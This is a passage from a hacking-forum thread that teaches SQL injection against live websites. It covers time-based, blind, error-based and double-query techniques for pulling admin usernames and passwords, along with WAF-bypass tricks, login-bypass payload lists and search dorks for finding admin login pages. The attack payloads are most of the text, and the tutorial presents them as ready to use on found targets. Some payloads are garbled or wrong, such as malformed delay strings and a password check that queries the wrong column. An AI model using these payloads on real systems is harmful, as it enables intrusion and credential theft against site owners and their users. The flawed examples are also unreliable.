At last now it's time to extract data from columns, and again we should guess it, we do this by this command IF (LEN(SELECT TOP 1 COLUMN NAME from TABLE NAME)=lengh) + waitfor delay '00:00":20'--
Code:
www.site..com/index.asp?id=123; IF (LEN(SELECT TOP 1 Uname from admin)=5) waitfor delay '00:00":20'-- For string injection www.site..com/index.asp?id=123'; IF (LEN(SELECT TOP 1 Uname from admin)=5) waitfor delay '00:00":20'--
We see that text lengh is 5 let's guess it again, we use IF (ASCII(substring((SELECT TOP 1 COLUMN NAME from TABLE NAME),1,1))=ASCII) + waitfor delay '00:00":20'-- command
Code:
www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=97) waitfor delay '00:00":20'-- * wait 20 second /true For string injection www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=97) waitfor delay '00:00":20'-- * wait 20 second /true
For here we see that the first char is a, I bet again that this is admin, let's see.
Code:
www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=100) waitfor delay '00:00":20'-- * wait 20 second /true www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=109) waitfor delay '00:00":20'-- * wait 20 second /true www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=105) waitfor delay '00:00":20'-- * wait 20 second /true www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=110) waitfor delay '00:00":20'-- * wait 20 second /true For string injection www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=100) waitfor delay '00:00":20'-- * wait 20 second /true www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=109) waitfor delay '00:00":20'-- * wait 20 second /true www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=105) waitfor delay '00:00":20'-- * wait 20 second /true www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=110) waitfor delay '00:00":20'-- * wait 20 second /true
Yes it's admin, ok now let's go to the second column we just write the second column name. First we will get lengh
Code:
www.site..com/index.asp?id=123; IF (LEN(SELECT TOP 1 pass from admin)=4) For string injection www.site..com/index.asp?id=123; IF (LEN(SELECT TOP 1 pass from admin)=4)
Now if the password is hashed better give up or use automate tool. If not I will recommend first to see some often used passwords just google it. This password is 4 characters lengh so let's try with love
Code:
www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=108) waitfor delay '00:00":20'-- * wait 20 second /true www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=111) waitfor delay '00:00":20'-- * wait 20 second /true www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=118) waitfor delay '00:00":20'-- * wait 20 second /true www.site..com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=101) waitfor delay '00:00":20'-- * wait 20 second /true For string injection www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=108) waitfor delay '00:00":20'-- * wait 20 second /true www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=111) waitfor delay '00:00":20'-- * wait 20 second /true www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=118) waitfor delay '00:00":20'-- * wait 20 second /true www.site..com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=101) waitfor delay '00:00":20'-- * wait 20 second /true
At lost, we have the admin user name and password admin:love.

Blind SQL Injection
Spoiler:
If you have read the tutorial about time delay(based) SQL injection this won't be so hard for you basicly you have to geuss every think again Biggrin
To test website for blind SQL vulnerability we use "and 1=1", "and 1=2 "commands here is how it's done.
Code:
www.site..com/news.php?id=1 and 1=1 * Page load normal www.site..com/news.php?id=1 and 1=2 * Page doesn't load normal for example the images have disappear or the text anything that can change on the web page
Now it's time to guess the version of the database most time's is 5 or 4 we do this by this command "and substring(@@version,1,1)=VERSION HERE"
Code:
www.site..com/news.php?id=1 and substring(@@version,1,1)=4 * Page doesn't load normal/false www.site..com/news.php?id=1 and substring(@@version,1,1)=5 * Page load normal/true
Ok the version is 5, now we have to guess table names we do this by this command :"and (SELECT 1 from TABLE NAME limit 0,1)=1", let's guess some tables.
Code:
www.site..com/news.php?id=1 and (SELECT 1 from news limit 0,1)=1 * page load normal/true www.site..com/news.php?id=1 and (SELECT 1 from users limit 0,1)=1 * page doesn't load norma/false www.site..com/news.php?id=1 and (SELECT 1 from admin limit 0,1)=1 * page load normal/true
So we see tables news and admin let's see columns have admin, we have to guess again, we do this with "(SELECT substring(concat(1,COLUMN NAME),1,1) from TABLE NAME limit 0,1)=1" command.
Code:
www.site..com/news.php?id=1 "(SELECT substring(concat(1,user),1,1) from admin limit 0,1)=1" * page load normal.true www.site..com/news.php?id=1 "(SELECT substring(concat(1,password),1,1) from admin limit 0,1)=1" * page doesn't load normal/ false www.site..com/news.php?id=1 "(SELECT substring(concat(1,pass),1,1) from admin limit 0,1)=1" * page load normal/true
Now we have table with name admin and 2 columns user and pass. Now we have to guess the data we do this with ASCII like in time based but we can't get the lengh. We do this by this command "and ascii(substring((SELECT concat(COLUMN) from TABLE),CHARACTER NUMBER,1))>ASCII VALUE HERE".
Code:
www.site..com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),1,1))>97 * Page load normal the first char is a we can try with admin ? www.site..com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),2,1))>100 * Page load normal second characters is d www.site..com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),3,1))>109 * Page load normal the character is m I can be bet that it's admin. www.site..com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),1,1))>105 * Page load normal, the character is i www.site..com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),1,1))>110 * Page load normal the data is admin.
Now let's extract the data from second column just change the column names.
Code:
www.site..com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),1,1))>122 *Doesn't load normal the first character isn't z www.site..com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),1,1))>112 * Page load normal first character is p www.site..com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),2,1))>97 * Page load normal the character is a www.site..com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),3,1))>115 * Page load normal, the character is s www.site..com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),4,1))>115 * Page load normal the data is pass.
We have extract the data the user and password of the admin is admin:pass. I make this look easy but belive me it's not.

Error based injection
Spoiler:
The cool thing here is that we don;t have to guess tables and columns. Basicly you can use this method when you get error like:
Code:
Error #1604 The Used Select Statements Have A Different Number Of Columns. Unknown column 1 in order clause.
So let's start with explotning. First we will find the version we do this by this command : or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1--
Code:
www.site.com/games.php?id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1--
Now you should get error like this.
Code:
Duplicate entry '5.5.29-log~1' for key 'group_key'
So now we have to find table names, we do this by this command and (select 1 from (select+count(*),concat((select(select+concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=0xDATABASEHE?X limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a).
Code:
www.site.com/games.php?id=1 and (select 1 from (select+count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a--
Now we should one table name let's say that it's tbladmin, we have to find other by increas the limit. Just change the first number in limit
Code:
www.site.com/games.php?id=1 and (select 1 from (select+count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a--
To get all tables continue increasing the limit, now let's get the column name. We will use this command and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0xHEX OF TABLE limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a).
Code:
www.site.com/games.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x74626c61646d696e limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--
Now le't increase the limit until we get the columns we want.
Code:
www.site.com/games.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x74626c61646d696e limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) www.site.com/games.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x74626c61646d696e limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Let's say that we have user and password, now it's time to extract the data from columns we have to guess it, I'm kidding we don't have to guess it we extrack it with this command and (select 1 from+(select count(*),concat((select(select concat(cast(concat(COLUMN1,0x7e,COLUMN2) as char),0x7e)) from TABLENAME limit+0,1),floor?(rand(0)*2))x from information_schema.tables group by x)a).
Code:
www.site.com/games.php?id=1 and (select 1 from+(select count(*),concat((select(select concat(cast(concat(user,0x7e,password) as char),0x7e)) from admin limit+0,1),floor?(rand(0)*2))x from information_schema.tables group by x)a)--
Now you should get error "Duplicate entry"
Code:
'1~admin~password123~1' for key 'group_key'

Double query injection
Spoiler:
In this spoiler yoi will read about double query, it's not so hard injection. Let's start, to check website for vulnerability use '.
Ok the first thing we should do is to find the column count. we do this by order by statment like the way with string injection.
Code:
http://www.site.com/index.php?id=1 order by 100--+- * Error http://www.site.com/index.php?id=1 order by 1--+- * No error http://www.site.com/index.php?id=1 order by 10--+- * No error http://www.site.com/index.php?id=1 order by 15--+- * Error http://www.site.com/index.php?id=1 order by 11--+- Error
This mean that the number of columns is 11, hope that you know this. Now it's time for the union.
Code:
http://www.site.com/index.php?id=1 union all select 1,2,3,4,5,6,7,8,9,10--+-
But instand of the vulnerable column we get error.
Code:
The used SELECT statements have a different number of columns.
Ok now here comes double query, first we will find the version with this command and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-
Code:
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-
we should get something like
Code:
Duplicate entry '~'5.0.91'~1' for key 1
Ok since we have the version it's time to extract the database name, we do this with and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-
Code:
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-
And you should get similar error.
Code:
Duplicate entry '~'universe' for key 1
Where universe is the name we search. Now it's time to find the database user, we do this by and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(user() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+- command
Code:
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(user() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-
Now you should get error like this
Code:
Duplicate entry '~'DB_user@localhost'~1' for key 1
Now it's time to number of the tables we do this by this command and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information_schema`.tables WHERE table_schema=0xDATABASE NAME)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+- , We need to turn teh database into hex
we can do this by using this site
Code:
http://www.swingnote.com/tools/texttohex.php
Here how this should look.
Code:
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information_schema`.tables WHERE table_schema=0x756e697665727365 )) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-
Code:
Duplicate entry '~'number_of_table(e.g 2)~1' for key 1
From the error I see that I have 2 tables. Now it's time to get their names, we do this by this command and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0xDATABASE limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-
Now you may see that after the database name in hex there is limit, we need to incrase it to get all tables.
Code:
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0x756e697665727365 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+- http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0x756e697665727365 limit 0,1)) from information_schema.tables limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-
Let's say that we have those errors.
Code:
Duplicate entry '~'news'~1' for key 1 Duplicate entry '~'admin~1' for key 1
Our table names are news and admin, now let's find the column count for admin? We do this by and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns WHERE table_schema=0xDatabase AND table_name=0xTABLE)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+- , database and table should be in HEX again.
Code:
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns WHERE table_schema=0x756e697665727365 AND table_name=0x61646d696e )) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-
Let's say that that I have this error
Code:
Duplicate entry '~'number_of_column(e.g 2)~1' for key 1
This means that I have 2 columns, now let's extract their names. To find the name of column we use this command and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns Where table_schema=0xDATABASE AND table_name=0xTABLE LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-, now you may see that here we have limit too you should increate it for more names
Code:
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns Where table_schema=0x0x756e697665727365 AND table_name=0x0x61646d696e limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
Let's say that I have those errors.
Code:
Duplicate entry '~'username'~1' for key 1 Duplicate entry '~'password'~1' for key 1
Our column names are username and password now it's time to extract the information we do this by this command and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(TABLE.COLUMN as char),0x27,0x7e) FROM `DATABASE`.admin LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+- PAY ATTENTION ON TABLE NAME AND COLUM NAME.
Code:
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(admin.username as char),0x27,0x7e) FROM `universe`.admin LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+- http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(admin.password as char),0x27,0x7e) FROM `universe`.admin LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-
Let's say that I get those errors
Code:
Duplicate entry '~'Admin'~1' for key 1 Duplicate entry '~'123456'~1' for key 1
From here I see that the admin user:pass is Admin:123456

Basic WAF bypassing
Spoiler:
WAF mean web application firewall, it blocks attacks like SQLi and XSS now you will learn how to bypass WAP for SQLi it's really simple I will explain some basic techniques.

First technique I will write about is actual query. Actual query can bypass the firewall here is example for query:
Code:
....id=-123 \*!union*\+\*!all*\+\*!select*\1,2,3--
I hope that you get the idea write the word between \*! *\
The second one is replaced keywords:
Code:
...id=-123 UNIunionONOnONUNI AAAAallLLLLLLL SSSSELLLselectEECT 1,2,3—
The idea here is to repalce keywords those who are writed with small letters is the syntax !!!
BUT WHEN YOU BYPASS WAF THIS ISN'T IMPORTANT THEY CAN BE SMALL AND LARGE LETTERS !!!
Next one is capitalization
Code:
...id=-123 uNiOn AlL SeLeCt 1,2,3—
Easy one. Next technique is bypassing with comments.
Comments are:
Code:
\*!*\ /**/
And here are some examples:
Code:
...id=123 \*!union*\\*!all*\\*!select*\ ...id=123 \*union*\\*all*\\*select*\ ...id=123
Those should be enough but you can google WAF bypassing there should be a lot of tutorials.

POST SQL injection
Spoiler:
POST SQL Injection

In this tutorial, I will talk about POST SQL injection, since I haven't seen many fresh tutorials about it on the internet.

POST SQL injection basic posting data that return true values. For example
Code:
' or 1=1
This will return true. Mainly you will target admin login pages, here are some dorks.
Code:
inurl:admin.asp inurl:adminlogin.asp inurl:administrator.asp inurl:login/admin.asp
Ok when you have find target, it's time to exploit it. Here are some commands which will return true value.
Code:
' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a ad' or 1=1-- 1 OR 1=1 1'1 1' OR '1'='1
Those should be enough but, in case that those aren't enough you can find cheat sheet in internet.
Ok type one of the commands for admin and the same for password example:

Code:
User:' or 1=1-- Pass:' or 1=1-- User:" or 1=1-- Pass:" or 1=1-- User:') or ('a'='a Pass:') or ('a'='a
But sometimes may give you wrong username.In this case you can try with admin or administrator

Code:
User:admin Pass:' or 1=1-- User:admin Pass:" or 1=1-- User:admin Pass:') or ('a'='a
Code:
User:administrator Pass:' or 1=1-- User:administrator Pass:" or 1=1-- User:administrator Pass:') or ('a'='a

If the attack is successful you will enter in the admin panel.

If you have questions you should ask because you can do something wrong. =)


RE: SQL injection techniques - stranded4eva - 03-05-2013

Explain in your own words what makes any code vulnerable.


RE: SQL injection techniques - stranded4eva - 03-05-2013

Explain in your own words what makes any code vulnerable.


RE: SQL injection techniques - andenggami - 03-08-2013

Do you have an ebook for this ? Im using phone .. And sometimes dont have a internet connection ..
I try to save it , but I cant open the spoiler or cant scroll down spoiler .

Btw
Thanks for this Smile


RE: SQL injection techniques - Cool Bot - 11-26-2013

Its helpful but will you please make full tutorial on those above topic with picture especially on blind sql injection i am very thankful to you Smile Wink


RE: SQL injection techniques - Cool Bot - 11-26-2013

Its helpful but will you please make full tutorial on those above topic with picture especially on blind sql injection i am very thankful to you Smile Wink


RE: SQL injection techniques - chmod - 11-26-2013

(11-26-2013, 11:57 AM)Cool Bot Wrote: Its helpful but will you please make full tutorial on those above topic with picture especially on blind sql injection i am very thankful to you Smile Wink

Don't gravedig

/closed


RE: SQL injection techniques - chmod - 11-26-2013

(11-26-2013, 11:57 AM)Cool Bot Wrote: Its helpful but will you please make full tutorial on those above topic with picture especially on blind sql injection i am very thankful to you Smile Wink

Don't gravedig

/closed